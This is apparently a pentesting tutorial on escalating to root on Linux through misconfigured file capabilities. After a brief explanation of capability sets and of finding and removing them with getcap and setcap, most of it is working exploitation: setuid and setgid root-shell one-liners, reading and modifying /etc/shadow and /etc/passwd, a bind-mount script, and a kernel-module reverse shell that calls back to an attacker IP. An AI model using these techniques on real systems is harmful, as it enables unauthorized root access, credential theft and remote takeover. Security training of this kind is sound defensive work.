In This we are having only capabilities by which, we can escalate
more or less, directly or indirectly.
- What are the Linux capabilities ?
- Type of Capabilities Sets
- Finding, Confirming and Removing Capabilities
- Common Capabilities That Can Lead to Privilege Escalation
- Reference
A granular set of permissions assigned to a running program or thread or even a program file by root user to allow process use privileged (system-level tasks) like killing process owned by different users from a shell of a low privileged user.
In a Nutshell, Capibilities define access control over process.
- Effective: Capabilities actively used by the kernel to check permissions for privileged tasks.
- Permitted: The set of capabilities a process can move into its effective set.
- Inheritable: Capabilities that can be inherited by child processes when using execve().
- Bounding: Limits all the capabilities a process can have, acting as an upper boundary.
- Ambient: Non-privileged capabilities set during execve() and controlled via prctl().
Capability | Description | Potential Exploit |
---|---|---|
cap_setuid+ep |
Change UID/GID | Allows privilege escalation by switching to root |
cap_setgid+ep |
Change group ID | Can escalate privileges by switching to privileged groups |
cap_dac_read_search+ep |
Bypass read/search permissions | Allows reading directories and files without permission |
cap_dac_override+ep |
Bypass file permissions | Can read/write protected files |
cap_sys_admin+ep |
Full system control | Essentially root access |
cap_chown+ep |
Change file ownership | Can take control of sensitive files |
cap_fowner+ep |
Bypass file ownership checks | Allows modifying files owned by other users |
cap_setfcap+ep |
Set file capabilities | Can grant additional capabilities to executables |
cap_sys_module+ep |
Load/unload kernel modules | Can introduce malicious kernel modules |
cap_net_raw+ep |
Use raw sockets | Can sniff network traffic or launch network attacks |
To list all binaries that have special capabilities, use:
getcap -r / 2> /dev/null
To verify that Python 3.9 has the cap_dac_override
capability, execute:
getcap /usr/bin/python3.9
To remove the cap_dac_override
capability from Python 3.9, use:
setcap -r /usr/bin/python3.9
In the following, We have only showed Misconfiguration and Exploitation for finding, checking, description you can refer to Finding, Confirming and Removing Capabilities and for Reference
setcap cap_setuid+ep /usr/bin/python3.9
By leveraging the cap_setuid
capability, an attacker can escalate privileges with the following command:
/usr/bin/python3.9 -c 'import os; os.setuid(0); os.system("/bin/bash")'
This executes a Python command that changes the user ID to 0
(root) and spawns a root shell.
setcap cap_setgid+ep /usr/bin/python3.9
cat /etc/group
wheel:x:10:
python -c 'import os; os.setgid(10); os.system("/bin/bash")'
sudo su
Also can read /etc/shadow file just change the group to shadow instead of wheel
tar
setcap cap_dac_read_search+ep /usr/bin/tar
python
setcap cap_dac_read_search+ep /usr/bin/python3.9
tar
tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
chmod 644 etc/shadow
head -1 etc/shadow
python
python -c "print(next(open('/etc/shadow')))"
python3 -c 'print(open("/etc/shadow").read())'
setcap cap_dac_override+ep /usr/bin/python3.9
Reading the /etc/shadow
File
/usr/bin/python3.9 -c 'print(open("/etc/shadow").read())'
python3 -c 'print(open("/etc/shadow").read())'
Modifying /etc/passwd
to Escalate Privileges
Appending a new root user entry to /etc/passwd
:
/usr/bin/python3.9 -c 'open("/etc/passwd", "a").write("root2:$1$RBQLuaaV$4Dqrii/GXbnYm5TGVw96y.:0:0:root:/root:/bin/bash\n")'
This effectively adds a new root user (root2
) with a known password hash.
setcap cap_sys_admin+ep /usr/bin/python3.9
we can't directly update the password in the /etc/passwd file, but I can perform a bind mount. Copy the /etc/passwd file to the current working directory (/home/armour) and make the changes in the root user password.
cd /home/armour
cp /etc/passwd .
vim passwd
root8:$1$RBQLuaaV$4Dqrii/GXbnYm5TGVw96y.:0:0:root:/root:/bin/bash
vim exploit.py
- exploit.py
- according to normal user
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/home/armour/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
chmod +x exploit.py
./exploit.py
or
python3 exploit.py
grep root8 /etc/passwd
python
setcap cap_chown+ep /usr/bin/python3.9
ruby
setcap cap_chown+ep /usr/bin/ruby
python
- give
[ug]id
: armour
python -c 'import os;os.chown("/etc/shadow",1001,1001)'
python -c 'import os;os.chown("/etc/passwd",1001,1001)'
ruby
ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
setcap cap_fowner+ep /usr/bin/python3.9
python -c 'import os;os.chmod("/etc/shadow",0o666)'
setcap cap_setfcap+ep /usr/bin/python3.9
- set the library to load for setcap
import ctypes
import sys
# Load the needed library (libcap.so.2)
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
# Define argument and return types for the functions we are going to use
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p, ctypes.c_void_p]
# Check if path is passed as an argument
if len(sys.argv) < 2:
print("Usage: python script.py <path_to_binary>")
sys.exit(1)
# Get the binary path from arguments
path = sys.argv[1]
print(f"Setting capabilities for binary: {path}")
# The capability you want to add (in this case, cap_setuid)
cap = 'cap_setuid+ep'
# Convert the capability text to internal format (encode as byte string)
cap_t = libcap.cap_from_text(cap.encode('utf-8'))
# Set the capability for the specified binary
status = libcap.cap_set_file(path.encode('utf-8'), cap_t)
# Check if the operation was successful
if status == 0:
print(f"Successfully added {cap} to {path}")
else:
print(f"Failed to add {cap} to {path}")
/usr/bin/python3.9 setcapability.py /usr/bin/python3.9
[armour@localhost ~] getcap -r / 2> /dev/null
/usr/bin/python3.9 cap_setuid=ep
setcap cap_sys_module+ep /usr/bin/kmod
- Change the IP address of the C code to the IP of your attacker machine.
cd
vim reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.150/443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
mkdir lib/modules -p
cp -a /lib/modules/$(uname -r)/ lib/modules/$(uname -r)
vim Makefile
- make sure you are using tab functionality instead of spaces after all and clean to avoid running into issues
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
make
- In your Attacker Machine
nc -nlvp 443
insmod reverse-shell.ko #Launch the reverse shell
setcap cap_net_raw+ep /usr/sbin/tcpdump
- Maybe you can sniff the password
tcpdump -n tcp
https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/
https://www.armourinfosec.com/
https://redfoxsec.com/blog/exploiting-linux-capabilities-capsysmodule-exploits/